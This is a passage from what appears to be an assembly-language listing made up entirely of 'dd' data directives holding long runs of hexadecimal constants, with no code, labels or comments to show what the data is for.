8B000781h, 0CEFC1FEh dd 20048068h, 28F9EDCh, 0D80D4957h, 95FF2816h, 32E9381Ah dd 0A78AAE4Ah, 0C530DF04h, 264905A9h, 50413F38h, 97E10E24h dd 6A50F983h, 56057C1Ah, 6112006Eh, 0EAE0C1C3h, 72F0E0BAh dd 0DEEB9808h, 1831683h, 91958972h, 0FF652520h, 3DF65CCEh dd 0AA2A2641h, 0A87F7437h, 3D66A725h, 0C22B5819h, 0AF6DF01Ah dd 5A4D3809h, 5D128C04h, 3C50B780h, 7681D003h, 1945643Ah dd 38D0AD84h, 2710202Dh, 0C5A6D9E9h, 8D20FEC8h, 40031B11h dd 0C2BE4F3Ch, 79217920h, 1298F58Bh, 0F8052D7Dh, 0C1C5BD8h dd 20D16303h, 4D7B1BF5h, 0C9120862h, 5155090Ah, 34F9497Bh dd 808B5109h, 0A98110BFh, 414A3B0h, 0C03359B5h, 0C1BDAAC3h dd 58FD24CAh, 0D2086847h, 0F2D49AA7h, 439B7455h, 0EB2F17FDh dd 0A7B510D3h, 0D1B724DBh, 7BB90706h, 277E907Ch, 0FD3A8353h dd 94A90FB5h, 509B14F4h, 810959E5h, 0DC636FC1h, 0AEBB411Fh dd 91432B18h, 0A831FFC3h, 60FCC9B8h, 0F281155Ah, 0D51E6171h dd 0D84E600Bh, 0C0279E53h, 5A0C291h, 0F259B4Ch, 0B29A2587h dd 80183F27h, 44F90221h, 6748BC7h, 0B43798Ah, 92F23E13h dd 0A6402734h, 88B04C80h, 0F9013F8Fh, 8A61E980h, 7E824C5h dd 4490888h, 0C2E751A6h, 6119AEC4h, 2BB75DD8h, 824B74D8h dd 0C62C1843h, 0F1E60E9h, 27D7E63Eh, 95D1A200h, 1B7F1822h dd 0F52B0691h, 0F8ACE899h, 541FF84Ch, 22F09547h, 44747E00h dd 99242FCDh, 2E960723h, 33E8EAE4h, 91A045CCh, 4F0021A4h dd 7CCB4356h, 66C0A8B5h, 215C0854h, 5647040Fh, 61ACCE65h dd 509B4114h, 153BC0h, 8A48C35Ch, 93F4A4ABh, 23E31600h dd 41AAB792h, 54B80064h, 0FC511D15h, 50C19438h, 81D817C8h dd 32C9080h, 0AAB5298Bh, 0FDC47E00h, 0B02FC55Ch, 9120C0AEh dd 0E6585938h, 0B89C20A7h, 0E7E032E3h, 11564230h, 8844CB5Eh dd 5A038059h, 37A9EF56h, 0E60BB200h, 404E871Dh, 60897B45h dd 1A842841h, 2F03FDD5h, 2795B41Ch, 80083004h, 0D5156921h dd 0BCA96601h, 355ACF8Ch, 70FF1DF4h, 5DD60549h, 3B2DE0CDh dd 5B23C0h, 6FAFC299h, 870DEE55h, 20488A89h, 805AA891h dd 2FFED51Bh, 81448C14h, 0D5120266h, 0BA514A44h, 11E4F8E0h dd 3F1B280Ah, 0B020DC85h, 22783402h, 0A4B68996h, 1E604134h dd 2F23F1D5h, 9B11FCh, 0A6D5196Dh, 0DF9F6B5Ah, 2E2C00C8h dd 0E71B73D1h, 28483907h, 76530F05h, 13CCD858h, 462F2414h dd 0B8703728h, 29F850CCh, 1138042Fh, 1064009Dh, 0DB28C6D5h dd 1A893063h, 33B711B9h, 4786A718h, 845F0360h, 1F024646h dd 0F42FF2D5h, 6A109C31h, 1500D516h, 5B32250h, 0C290E7CCh dd 0E0E8EBD8h, 5643E8B0h, 5CCB5F11h, 5BE0A29Eh, 0AC0187ECh dd 0BB4A174Ch, 0CDD0B248h, 2B2F15D0h, 5864C453h, 564060E1h dd 54CB235Ch, 13A5811h, 0B4125680h, 78963371h, 0ACA5F318h dd 14A40FC0h, 0C495F013h, 5EB10078h, 58284285h, 10339424h dd 0BB0868h, 8556D721h, 51EB17A9h, 19AF6A30h, 0C0442EA2h dd 0EE29E771h, 1712CB5Dh, 0C805A858h, 98409889h, 0DDD736Bh dd 24F400E3h, 0F388CCD4h, 0C6001634h, 2748F680h, 6447D5Ch dd 0CF792151h, 0CD00594Bh, 0DB8D1284h, 0EB6E8204h, 7FCCF2F4h dd 4DB8AAAFh, 0ACF6C060h, 0A702E74Eh, 3DCA9A55h, 2FF440D7h dd 106B49C7h, 0ADA9F03Ch, 18A5F198h, 110A01DBh, 0CB14127Dh dd 88342143h, 90AF0360h, 0C010C8EDh, 2843855Fh, 0BE225046h dd 8557D000h, 4C4443EFh dd 0B7BA3A76h, 0AA10998Ah, 0BC8982B8h, 7444CC93h, 244A2B21h dd 9F465C10h, 681E650Eh, 0CD61D10Fh, 51928427h, 3346CEF0h dd 3198E23Ch, 84CBF4ECh, 0F330089Ah, 5360E1A1h, 70D90069h dd 0F4493F7Ah, 0C30D8CE2h, 0D0BAFBEEh, 0CC032AD9h, 4479692h dd 0C48171CEh, 8DABF263h, 282FC679h, 28C7EC20h, 6A0CBFFh dd 685D9172h, 8803A994h, 13E1E9F2h, 6B45B01Dh, 8108CCD5h dd 0FA005121h, 3577CFE9h, 0C0906992h, 0B0DDBD19h, 5908562Dh dd 809C68C7h, 1A617A32h, 31011230h, 9F3C8F50h, 2181684Eh dd 0E045F3E8h, 3187F01Dh, 0D7102492h, 4B02B8BBh, 0F375110Bh dd 28917CC2h, 8421817h, 38284E85h, 0EB40B8C4h, 12E1855Ah dd 3C65BD01h, 0D3BE955Ch, 434F4030h, 3159E284h, 17CCD88Eh dd 2EE62C13h, 14B31800h, 9147D289h, 189EF11Ch, 8390FA6h dd 441255EDh, 12418708h, 0A0612040h, 0F33DF0E3h, 0BAE2B023h dd 2FE3B30h, 2CB3B9BCh, 0E04444C7h, 6BFE720h, 0EBCC6A27h dd 4278F097h, 8C90C074h, 5AD71002h, 60718055h, 838EEC88h dd 1148823h, 284F8543h, 9CC4E30h, 54855BD4h, 0D0F0607h dd 4B20805Ch, 0CDF013B1h, 7F503EABh, 0E61F028Ch, 0C1A7BC8Fh dd 0DF201464h, 0CC95304Eh, 107641D9h, 991CC200h, 33BF11FBh dd 4330C9C0h, 18440084h, 0A0902318h, 0B15AFB24h, 1881F1DCh dd 0F0D300DFh, 5FD84A2Ah, 0E2090AE3h, 0B40D112h, 9837F4h dd 3C071BAAh, 0D2092CA7h, 498FAA1h, 0F3605AECh, 13231EE9h dd 1861105h, 0C5E9FB56h, 0C441F6DAh, 2E00A0A7h, 0AF1355DBh dd 0C0245FA9h, 2DFAE0C0h, 0D1F0B9E9h, 0E3F1858h, 2BD91F68h dd 0EE2E76A0h, 945CF083h, 8C80E8BCh, 58AB000h, 437363B2h dd 4A1C014Fh, 0A40EF579h, 731C2612h, 284D8509h, 8C1C40h dd 0D38559D6h, 0F34C6466h, 7619A960h, 549FAF8h, 0BDA296B9h dd 0FC6F79h, 50F29668h, 1402E99Eh, 10AC8822h, 94BEC900h dd 0DAD72986h, 99685415h, 813900CCh, 9283558Ah, 0C67F0049h dd 2F5D71A1h, 0C2319535h, 0E7582996h, 44230E0h, 8CCB45F9h dd 0DB5C83B5h, 3BE90194h, 880F20EFh, 2342CE9Ah, 0D4411D92h dd 0E2488740h, 3793C17Bh, 0AA88D135h, 0ADFE0430h, 75666030h dd 24101F32h, 0A90C263Bh, 13C17BBCh, 2F3C24E9h, 70446624h dd 0F9805411h, 0D51318E9h, 0A887448Ch, 0C9E9E11Ch, 0BF1B2382h dd 0EDFC62B6h, 0DE0EC068h, 0B0A0D069h, 0F081C4F7h, 5D004032h dd 8E892DF9h, 0D40EC92Ah, 4015DF99h, 3E6F1486h, 429F0161h dd 0CB13CE9Ah, 1E889994h, 0B2E3A0E0h, 441CC795h, 0FB886080h dd 64BB0190h, 3F810B71h, 54D46111h, 0A7AC04E4h, 0CAE20020h dd 263416BDh, 11B082CBh, 855C8011h, 99682840h, 54D1C1DCh dd 5267D485h, 79DAB602h, 9794022Fh, 80A51124h, 531B2C34h dd 0F1C4B187h, 0E1FA185Dh, 1C815CBCh, 515CE119h, 67C7215h dd 8F07132Eh, 78C85260h, 2B30BFF2h, 0A584058Bh, 32D0CC4Dh dd 18305BD4h, 2FFF12D5h, 24DCCB0Ch, 1C014F67h, 285E6EBFh dd 0C79837DCh, 407CC98h, 0A2A080A7h, 0E1C94A2Dh, 46F01068h dd 0D2AD3818h, 10E32E16h, 2E93689Dh, 0FBA23BCh, 0AB0138FDh dd 3C035C9Dh, 7127006Ch, 2CFB7044h, 0A8D72B13h, 735A78C8h dd 150CA600h, 0C117CA60h, 911E2251h, 0B08BF880h, 56609C84h dd 0BC005546h, 754C0FCBh, 28029622h, 1B8BBF9Eh, 5D1463E6h dd 1CB898B8h, 10F0B258h, 0BF025E73h, 947807CFh, 0B41DCC8Bh dd 2004C63Fh, 0DB5A2FFDh, 7331C058h, 0C6572BA2h, 219B68A9h dd 0C17DCD0Ah, 2072049Dh, 7A6BE784h, 3171FC3Ah, 0D4D0A22Eh dd 0E3CE00A7h, 24864973h, 23982E93h, 9E9805BEh, 64E1C0D1h dd 0C0A60175h, 4E02FB46h, 64CB4256h, 76C0132h, 4CF45646h dd 0FDA20751h, 0C99BF27Bh, 0EA4050CFh, 2E53D311h, 495C2899h dd 0A29F8802h, 0F49C7C58h, 9F4674h, 0D0EA2F23h, 546BF23Dh dd 0F06C89Eh, 3435759h, 0B7DF009Dh, 0EAEC8A0Eh, 7D0B6096h dd 118C1D91h, 0E2AE809Ch, 0AA4DC4Dh, 0C067C48Fh, 0ECC54960h dd 45609F64h, 0DC142BCEh, 4D489C6h, 0BA9B1390h, 1F220480h dd 108748A4h, 571B9204h, 5C274389h, 5618299Eh, 189ED19Ch dd 0A7030067h, 3DF1A00Fh, 0A8602F99h, 0CFBE4A21h, 872E32DEh dd 944C56D8h, 1AE9FF04h, 8D62E513h, 0E9E7AA20h, 3B4C0003h dd 32111938h, 2717CD08h, 494ABFCh, 9F481881h, 0E316108Eh dd 30D890ADh, 294CA863h, 5C074E20h, 11F305E8h, 0B8381245h dd 43C52A0h, 1D4E5F0Ch, 514BDF9Fh, 65AC8788h, 5C1518F0h dd 204B6087h, 0E181F5A4h, 0C4205953h, 99605CDBh, 0E60ED55Ah dd 0E0F4686Bh, 0C713511Dh, 98CD6B27h, 33E8BC0Eh, 2DE61400h dd 310CA8Dh, 7BE10B41h, 0EAE2F268h, 5CE4BC45h, 0F663B60h dd 53B6C500h, 370E2CFAh, 482CE7ECh, 59B6050h, 0D97141Fh dd 0A228B3B6h, 81803380h, 49032901h, 12684B8Eh, 89B6CFh dd 0F6D82A5Bh, 29D27D9Ch, 6C97802Ch, 7DA54674h, 472090B0h dd 48D10CB2h, 0BB899488h, 63130B0Fh, 86434296h, 53C06095h dd 82A401ACh, 0E0CD44FEh, 4BF0800Ah, 1DE654F0h, 0FAACA993h dd 56774918h, 966CCB27h, 41060010h, 5FF48256h, 430BE5D6h dd 2BAC9817h, 44A44724h, 0EB22605Ah, 0D6A05B8h, 14D8FBC5h dd 0A5261CC4h, 7BE40540h, 0C8548E22h, 0BB0BC3BFh, 0D2CF79A0h dd 1F091A73h, 1270FA2h, 888FE3A0h, 2F2AA840h, 10984D58h dd 7438D724h, 0EF015946h, 0F40DC927h, 7CC4D5CBh, 0E5A201D8h dd 0BB5C1461h, 0A706302Ch, 0A926174Eh, 0BDD15099h, 0D4D1F919h dd 550319F3h, 112BCCE5h, 9772D1EDh, 2D5B61D4h, 0F4A326A2h dd 4ED1D13h, 0CEB594ECh, 0C0838874h, 79306C9h, 0FE9CB700h dd 0BD71208Dh, 4CC20717h, 7210763Eh, 0B06070AAh, 0ACA2EAC7h dd 514F9867h, 8F8E5E81h, 20503CDEh, 4FF319B4h, 50899093h dd 0C3439184h, 50BDFF0Ah, 0FD00B426h, 0D714B27Dh, 34418223h dd 478BF857h, 1120EC02h, 51215B78h, 18837970h, 0E12E004Eh dd 0CD16E670h, 0D704275Bh, 77EC174Bh, 0A5F55080h, 41C9CA37h dd 40D026FEh, 0D6E27927h, 74E6E006h, 5F198B28h, 106EA4h dd 710D4B8Dh, 25E99B63h, 7400F72Bh, 0DFA8BD4Ah, 0CC414E2Ch dd 38605916h, 271DE9FEh, 9496FD13h, 0E9E65500h, 117D43D8h dd 5BE80B7Bh, 0B4E7340Bh, 0C4639A64h, 3B035FFFh, 480C5C7Bh dd 70EB26CFh, 401F1630h, 0A2644384h, 3A0E8B0h, 1C908C73h dd 527B6700h, 0EA7A206Ch, 14F358C8h, 6091D730h, 161099E3h dd 270E40A5h, 10E79369h, 0EC5BC020h, 0C85A0FCDh, 0F088E013h dd 0A7DF1611h, 503C40AEh, 0A29768E7h, 244F1225h, 83459344h dd 0F390000Dh, 76F4FA78h, 35C69A04h, 14D0A02Fh, 0B81ECCEh dd 7F03633h, 46ADFC04h, 0F0E9C695h, 0D72D12E3h, 0E270906Bh dd 0F700F1FDh, 0A2957C50h, 0C389732h, 64EC08E5h, 0CF3093E8h dd 65BA9147h, 0BFE3EF0h, 20A21427h, 0FFE0C5BCh, 5F30BF77h dd 5115D0B9h, 94BE03A4h, 992D6DC1h, 2F7C01CDh, 0C023DFh dd 2D9561ADh, 149098C2h, 0C60B5FC1h, 68405D8Fh, 80A9270Ch dd 7202C1Dh, 51590454h, 6A4A51Ch, 619588h, 9D42A9CCh, 0E4E635EDh dd 0A57A400h, 210B114Fh, 632903FEh, 2628A2EAh, 0EFCBD90Fh dd 0C0A3EB15h, 60F27F54h, 1D9059ACh, 1005635h, 4A2ECEEBh dd 13DF5FE4h, 0C0F71B2Fh, 90F27870h, 0FB2C31C1h, 0E2C7CBFDh dd 0E468C5EBh dd 60616255h, 1CD10F8h, 844C8AACh, 0D2980FCAh, 0F7201852h dd 0E418C4B8h, 0A0580583h, 0E08AA4F1h, 89C9CEFh, 3C84CB43h dd 0FC0A2037h, 9BF8A8ACh, 8FD9702Ch, 49707A00h, 32FDA2Dh dd 908E6487h, 3CCAD68h, 0B6AC60E6h, 8BBCF8C4h, 25200711h dd 0E5C63FDAh, 0D4308093h, 9400F3C5h, 1071743Bh, 9EEA0EEDh dd 0B9465E1Ch, 0AE57B700h, 0D51159A9h, 3CBC7F09h, 93BCA2F3h dd 0E678A4C9h, 41564D60h, 704CCB26h, 450270h, 9C261C56h dd 130D818Dh, 4EF74410h, 9692E100h, 7CAAD09h, 0BC798026h dd 9A12E42Ch, 2F775406h, 0DC609C28h, 0B5E74700h, 8211E10Eh dd 0A9B91B1Dh, 83C00880h, 0D3F188DBh, 7C5C100Bh, 9B380240h dd 44E0C749h, 5C9560B9h, 462B0780h, 0C2F76952h, 4C44CFB9h dd 33DBFB00h, 4E9BDF0Bh, 0FC8E0061h, 8FD53D3h, 0BD02DAC4h dd 0BF295D20h, 48A45073h, 0C234B0E8h, 0F240E241h, 0FC9A3058h dd 3F0367E0h, 132E48BDh, 3480FC97h, 0C0A7F3E1h, 0E107BC1h dd 0C103E490h, 1612430Fh, 0E532D021h, 11720433h, 0D183D4AFh dd 23F04B20h, 7C81280h, 1A2C44B4h, 6058B313h, 803B0CD9h dd 26148BB2h, 0EB8AD42h, 6FBDD92Eh, 63A58AC0h, 2D50A24Bh dd 210B4E6Ch, 10C19593h, 74597674h, 164A063Ah, 60BB67E3h dd 1510C898h, 9513446Bh, 0E7D023CFh, 401448E5h, 0CC185011h dd 0C51D6953h, 0CEFF5900h, 0D0A17A72h, 208F006Ch, 95E625C4h dd 82006BB8h, 0D2FE6FD9h, 712FC541h, 0E2509074h, 0FCC72495h dd 4C45A510h, 31608CE4h, 3672E3F2h, 0CF2A9B01h, 0EF3C126Bh dd 44272828h, 60C0086Dh, 80BA9Ah, 7F14C7DFh, 3CB30ACEh dd 0A9804EFCh, 0A0A372BCh, 52D76E4h, 10C9CDDFh, 5B54E0C7h dd 0E9FC048Ch, 0AC0D131Fh, 0E457B0B0h, 82D400E9h, 0C3CAB8E5h dd 510BEFAEh, 0A4A79414h, 4F4093ECh, 968E4D3Ah, 2AF76500h dd 0D15B5AEh, 0F2513DAh, 0FE2CB0D8h, 0B0C7113Ah, 8E6BA0A1h dd 149A0F5Dh, 378679B4h, 2E03B9A9h, 8221D0BCh, 0C4E6A454h dd 167ED7E0h, 0C479B20Fh, 0D9C0A1B0h, 0FD3045BAh, 0C0389884h dd 0E3CDC268h, 1F005C08h, 0E65690B3h, 0C9CC29h, 88C56B1Dh dd 0A7DB4EA6h, 42FCA13h, 5BD348C8h, 731C3B8Eh, 0D9C5018Ch dd 8AB11413h, 186F2FB7h, 0AA827C00h, 4347E13Eh, 0A9A02710h dd 21E7881Eh, 465CAC24h, 2B05029Bh, 0E4AE1D51h, 0AA451Ch dd 0BC96ABFh, 2588FA4Ch, 0EC14083Bh, 8B6EF502h, 0CB00C047h dd 40ED805Eh, 0A3918027h, 1126373Ch, 4F1B731h, 406B2C93h dd 0EC90CF0Bh, 4D0FA3B5h, 0CAEC75h, 223F12F6h, 0ACB65C84h dd 9E4A4B12h, 9FD38074h, 92FE3F7h, 78294EAAh, 0B0C94C32h dd 6A28F472h, 50B84468h, 2D125400h, 624985E4h, 0B43468A6h dd 0B9790CD9h, 0D10D7418h, 3AE5C032h, 88C894D3h, 0CDDE002Eh dd 0BF71F7C5h, 98C2CF07h, 48C95BE9h, 0BD4A18h, 4D4C37B0h dd 812BD7BAh, 0AF351A00h, 88956B38h, 7CDA1375h, 7346F3Eh dd 0BDF25774h, 7F9D9C50h, 13DF045Dh, 0B428CF2Ch, 6E41FDD4h dd 83A29023h, 4EFE830h, 6C31607Ch, 0D080E10Bh, 4304CDE5h dd 7225A828h, 8CE288B2h, 0BEC530h, 191CCCC8h, 48CE9598h dd 777613F0h, 1F040894h, 0F0009FF4h, 0B31BD7A5h, 8CD9B0A2h dd 0C5198479h, 0F9422F3h, 4055CE7Ch, 44948453h, 0E08B0218h dd 30CB2BD1h, 0CF27540Ah, 0B3F24020h, 0CB008FDDh, 2E5F96A5h dd 80BF6F03h, 0B2636A4Eh, 928989h, 19625B39h, 519021BCh dd 3057F803h, 0D12A5349h, 31B9AAF3h, 97DF370Bh, 15E15901h dd 4C4C325Ch, 0A1413D8h, 0BB887CCFh, 0C63207C0h, 90F04BE0h dd 198D8C64h, 6F06F700h, 0DC5A99A8h, 0FBC9018h, 0F0897BD9h dd 700FCD22h, 0F23854D0h, 0C03E4ECFh, 0EB008C7Ah, 11EF6983h dd 0A3B09FBFh, 90C1E0F8h, 0D5E80050h, 892B4097h, 54043194h dd 5C41A6A0h, 1519A8C0h, 0F4A80088h, 107A8DF1h, 970195B8h dd 0A7A07441h, 0B1D3F080h, 0A4EC9B04h, 4A96E8E5h, 69DC405Ch dd 8354BDFCh, 218C28CDh, 285C1801h, 9431498Eh, 0BF6B2987h dd 0EB6DCDC0h, 774FE42Eh, 80230C2Fh, 981B7E00h, 0B2D469Eh dd 8B0F9B10h, 9942B0B0h, 81081422h, 0ACAD38Ch, 0A8205800h dd 60BFC487h, 2A5420h, 0A8BE740Bh, 0EE8E267Eh, 28962704h dd 60971F03h, 586C06C2h, 321BF8D4h, 68188297h, 1DB94454h dd 0D5C0558Ah, 0EC028034h, 0D09F0032h, 0C5EFAD03h, 710EB125h dd 0FA441C6Ah, 74305CC0h, 0ED3B8046h, 181C7A80h, 6E2E8AC6h dd 17BF2F13h, 69EC1480h, 0E84014AAh, 1F189090h, 0E5A2F196h dd 909701E8h, 4A769A8h, 578927F5h, 1930C045h, 3015276h dd 953B4959h, 0FBF0C3BEh, 0CBDD246Dh, 992109E4h, 0B4AB4C82h dd 0C480C512h, 8FF16086h, 50CF2F27h, 0C08B6C24h, 94EAF745h dd 62695200h, 0F8A2836Bh, 6013762Eh, 99934185h, 51008A0Bh dd 25E36846h, 2A5B653h, 0DD77109h, 0E0C1C636h, 46A016C9h dd 0E9F80257h, 31ED131Bh, 0E0AB108Fh, 7BEB00E9h, 0E82E4C05h dd 94095FF1h, 1110A249h, 302D69DCh, 0B097E200h, 248C67BEh dd 2C33800h, 3A5BB6E5h, 4D1D0A5Ah, 81B8AF88h, 0ED216052h dd 6609ECADh, 17CAAC0Bh, 9D5C70CCh, 9E04E037h, 48C1BB89h dd 28008EB0h, 109E842Ah, 1355467Ch, 8888CD51h, 42294BA2h dd 952AC2B8h, 670F8DBh, 0B0CD1DB1h, 0DA700A5h, 127750E4h dd 1784E127h, 815991ECh, 4BDACD9Eh, 610FBAFFh, 0B191238Ch dd 2FCA0F46h, 2C18583Ch, 0CEBC242Bh, 20681664h, 0DB25FA94h dd 769B870Dh, 0FE86AC3h, 5FCF0068h, 78EC61BBh, 162CC8ACh dd 0F16E3459h, 0B982458Bh, 0B0F12028h, 855DEA60h, 2867166h dd 5B67CAD7h, 0A0F8FFBAh, 0DC25A8B0h, 44E067EAh, 0FBF561BCh dd 540C3C80h, 104B8276h, 80B7A52Eh, 46761CACh, 0C4F2008Ch dd 46CC42D2h, 12B7095Ch, 0B4482999h, 1B27D48Fh, 2B9868A7h dd 76789442h, 0BC019D46h, 88212FC0h, 81980AEh, 0DF56309Eh dd 2BF20159h, 2D99191Dh, 0E52180ABh, 401172CEh, 4454B810h dd 0C00CB95h, 21C84E8Ch, 19CF3F2h, 30676FC1h, 20E0E4D9h dd 0FF14BB6Dh, 0ED8E15Ch, 0EE1D2478h, 11C0F817h, 5BE92C9Ah dd 3C824930h, 7482B3EFh, 833D5ABBh, 82CE3E5h, 853342B7h dd 7A0B2479h, 0D9A87940h, 1241881h, 74330384h, 20D06AEFh dd 6029E2Ch, 18DE2252h, 4B9E40FAh, 4EDFF83Bh, 20C4C4A3h dd 0DBCD4474h, 0E36C4610h, 405F6710h, 0CF563780h, 0E85C4C18h dd 711F8C83h, 0AC002565h, 2ECABBC9h, 4EACB0ADh, 0A8508554h dd 30FEBD58h, 0CF4E84CAh, 63C0605Fh, 51F6DD5h, 0F13F00C3h dd 5BE65F30h, 0A0078E7Fh, 72232666h, 29781D90h, 973335BFh dd 0EE28B1E0h, 96D834DBh, 0D7A30133h, 3C1D38ACh, 92839D3h dd 4790CBC7h, 608064E4h, 31ADD851h, 0EF580F52h, 40EA0248h dd 0E4F05E1Ch, 0EDCE0213h, 86B86FC7h, 4162F8F2h, 134BB30h dd 0F0E559CFh, 7C9013A5h, 13239B20h, 9B2BCD41h, 5C6D8714h dd 5E3B3DC0h, 1DBD09F9h, 0C090CFD1h, 0FE33F28Dh, 9E88A87Eh dd 97FC0099h, 0EC829672h, 2E7C59CEh, 0C6C25600h, 40D43CD9h dd 9F870032h, 7E346C10h, 8C014730h, 13B6D703h, 0B5206892h dd 4F50038h, 59849D0Fh, 671FBD4Ah, 45C0427Fh, 0E6B3BF12h dd 0EC73DA9h, 4FC99C83h, 0DDC064FCh, 0A300097Eh, 0D4627907h dd 2A5833h, 8DE59D8Fh, 3DFA5742h, 41EAA200h, 76D9B10h dd 0AA9800F5h, 3AD1C5AEh dd 621D325Dh, 518161C3h, 1FB4CC56h, 0C6259880h, 8AEB0A4Bh dd 79B7ECF5h, 0EA97F300h, 5F3215D8h, 0F49C00BEh, 0A4CC6E8Bh dd 2600D5FDh, 1C3B39FEh, 96E215h, 1D6742C3h, 8B08B914h dd 72C8139h, 4A7FD07Eh, 0EA1205F0h, 115200D2h, 0B3955144h dd 106C0A4h, 0DE4FEE62h, 0ACE707E0h, 7030A7B0h, 3D2B13B9h dd 0A079A400h, 0E5F6DDFh, 0EDE92AD7h, 610A00D4h, 749F7E94h dd 0C000769Dh, 3B5606F6h, 1DDE3624h, 4F432A0Ch, 378C032Dh dd 940070F8h, 73266499h, 0B5313Eh, 0F53B6C0Dh, 0E7E52CCFh dd 6143D030h, 0E95611Bh, 46C3566Dh, 7405F4E0h, 8B00F171h dd 3BEEB151h, 3AE82FA1h, 0CF80C561h, 5245033Ah, 15017D71h dd 4079989Bh, 0D6C08E31h, 0DA6000D5h, 0B50E7A6Bh, 0A000B234h dd 0AD4CCFFBh, 0F7973E1h, 493DDAFFh, 0CBE08E8Fh, 506B971Ch dd 0BD95C715h, 0D29E00F0h, 685DB55Fh, 0B91D052Ch, 873F01F7h dd 6076E778h, 74FD57ACh, 4FD65900h, 8AA41BCAh, 0AB7A16h dd 0C74667DAh, 0D9E52B26h, 4294F70Eh, 0E1162E63h, 9A59D35Bh dd 0F6E8440h, 0D79705ABh, 0C86A5ED2h, 0A700B6A8h, 757C03C2h dd 335312h, 6360990Eh, 83CB5AE1h, 65228613h, 711C00FAh dd 43EFB11Ch, 390A3C92h, 0E8AC75A8h, 4C1A5B00h, 2218092h dd 285C452Dh, 80A02C34h, 41677423h, 86F3D201h, 0A684BC8h dd 7360960h, 402F4AE1h, 84A8F053h, 0F3181234h, 0F058ADDFh dd 0EA8A07AFh, 5008190Ah, 5785C23Ah, 3043DE26h, 64E9A380h dd 1E809413h, 0E93279DAh, 0B2EA09BCh, 0AE6C85h, 3C52EE92h dd 52A7399h, 0DE00D803h, 6A81A94h, 24108086h, 81D0D050h dd 3F6723BFh, 66ACCC9Eh, 1B78E9C0h, 2AE34A5Ah, 84121Dh dd 33978127h, 0C2496F3Fh, 702C3200h, 0AF048AEAh, 48B0C4CDh dd 1A8640EBh, 9F23AACh, 49CCFD6Bh, 19619200h, 2D169DF0h dd 130041E9h, 1FFC9E8h, 0F33E00F7h, 57D96702h, 2B073676h dd 9D55305Eh, 0E92E43F0h, 4908009Ch, 638B95FDh, 710087C7h dd 0B9BC0EC1h, 8818D1h, 0E365795Ch, 0B2D290F4h, 38DC1E74h dd 0D0680039h, 9DFB1180h, 0A9480088h, 2CF1E070h, 59007B29h dd 0FACD4BCh, 0EC435680h, 9A43BC8h, 86BBD080h, 7F89D511h dd 236F3A0Fh, 7A59B8ADh, 80CB00DEh, 9454490Bh, 3E003230h dd 6C061157h, 0C04BAB58h, 0BF051670h, 0ED48DBE8h, 6F670260h dd 5670D11Ah, 0F9010088h, 895E4F1h, 802A0E0Fh, 0D55047E8h dd 57412F60h, 0ADD700B9h, 82A656B2h, 0FB0E32B7h, 0C1D38DF2h dd 520C2ECFh, 0C4BC1C4h, 0BCC360E0h, 1300AFA0h, 5E2A6E65h dd 0D8B47Eh, 4CE4888Ch, 5939BC7h, 0E9131B00h, 0FA54743Fh dd 59810002h, 225FDC50h, 197CA45Bh, 7B84BB50h, 0D8960700h dd 4BD52E36h, 8EEA030Dh, 0D2B2A5B4h, 0E4409AF0h, 0E1143Eh dd 0DA7A45Dh, 0EA516043h, 614A1DCCh, 0EB4D810Ah, 64F326A1h dd 5C003D70h, 0E5A94BA8h, 198C2Eh, 6D9840A2h, 0ABD2113h dd 9E533900h, 2AE2242h, 897E01C1h, 8E69343Ch, 0EDFFC09Ah dd 8C4D490Fh, 2B55414Bh, 0ED4010E4h, 33BD13Ah, 0FC15668Ah dd 0DFE0BDD5h, 0C800AEEDh, 597576F5h, 1E207702h, 81C57D5Ch dd 0E570081Bh, 2838F4F4h, 0ED44FB00h, 0AAD0A1F8h, 403C1386h dd 32C4012h, 0A9F53D18h, 0DF5E9F12h, 0C0729447h, 0AC7E5B10h dd 63E4A03Ch, 52130270h, 0B99B1132h, 0F899CC61h, 0ACA03453h dd 0C11D4F04h, 0AD5C575Ah, 0F5ABD440h, 5886FAh, 7A2621F6h dd 8364BDAAh, 67B9A400h, 0B60FC201h, 9B180053h, 5C14984Ch dd 4017B61h, 19F86749h, 68D02B63h, 271C4h, 7298FE90h, 3EF360A2h dd 0CF555909h, 53FA87D0h, 0D95FE670h, 0A0AD00E8h, 0E1954844h dd 0A10067A9h, 571491B7h, 0F8A6A2h, 0BBA2BD2h, 0CEE17894h dd 55B939h, 4E97F252h, 1D9B99B4h, 0C0405A0Eh, 10734548h dd 53005D96h, 0D1547F05h, 78285Bh, 0BCCBAD58h, 0D78A19D8h dd 0D492B200h, 413C4414h, 2925009Bh, 0EB1A4A35h, 5EC7DB7Bh dd 23C09DA4h, 9807A2h, 0A8D7F27Eh, 0AA62AB6Dh, 68A4DE00h dd 11A0161Bh, 2772008Eh, 5BB484F8h, 0B162076h, 94404801h dd 4F7B2277h, 6E0D002Dh, 0DC96F939h, 237185CCh, 70504300h dd 83E31272h, 0B4BF01CFh, 428C13D2h, 0DE0C66Dh, 0D53FBDB1h dd 0F002A8A2h, 355D1C00h, 0CD2841EBh, 94D124C3h, 0E1E68970h dd 0C9FCE8DAh, 3C2DFD0Eh, 0A24C83B4h, 0C818007Eh, 0CB59B584h dd 0E95017F5h, 0FD51C018h, 250A2024h, 8284C37h, 0EF6D5290h dd 0FEE6263Bh, 5B3A0056h, 602DE233h, 556B2416h, 5F2768A4h dd 1330906Ch, 0C03A88B5h, 0ED105194h, 74002A12h, 3E147243h dd 0A9550BD1h, 0A8FABB57h, 2778EB00h, 2B0FEA33h, 92433CFAh dd 104D2485h, 0CA580CE8h, 0CB1454C8h, 7530ABC8h, 0C698F094h dd 746B4078h, 90A065D5h, 0C314E989h, 904ECBFCh, 1FD742AAh dd 9CC491h, 7A3E9D14h, 46003B74h, 3F40D518h, 7323A826h dd 641B0071h, 9DA22D5Fh, 2B004A53h, 5403B651h, 87CF96h dd 0DD689495h, 31738F9Fh, 0B4343700h, 4D72816Dh, 538800CEh dd 80DA7052h, 0A200FD85h, 0C6875041h, 0A71C44h, 0C256822Dh dd 13D68F36h, 7B63DA01h, 895EC170h, 695460h, 9EB29026h dd 0A771F240h, 4FECE100h, 77931074h, 457F72h, 433AA8B1h dd 17CC8A22h, 0E0704425h, 9992788h, 685485FAh, 3500F4D2h dd 23B3A8BAh, 24F5B586h, 0AC8061h, 0E6C4A779h, 0C905D82Dh dd 8895131Dh, 5ABC34BCh, 0DC14008Ch, 574342Eh, 0BCFAA0B8h dd 0C7CFBB2Dh, 609AE44Ch, 124A948Fh, 0A2272C13h, 0C0762DD4h dd 273F17FCh, 481D2647h, 0B380BB11h, 13514849h, 0B82BCB6h dd 0E0987A11h, 0BF28C5E2h, 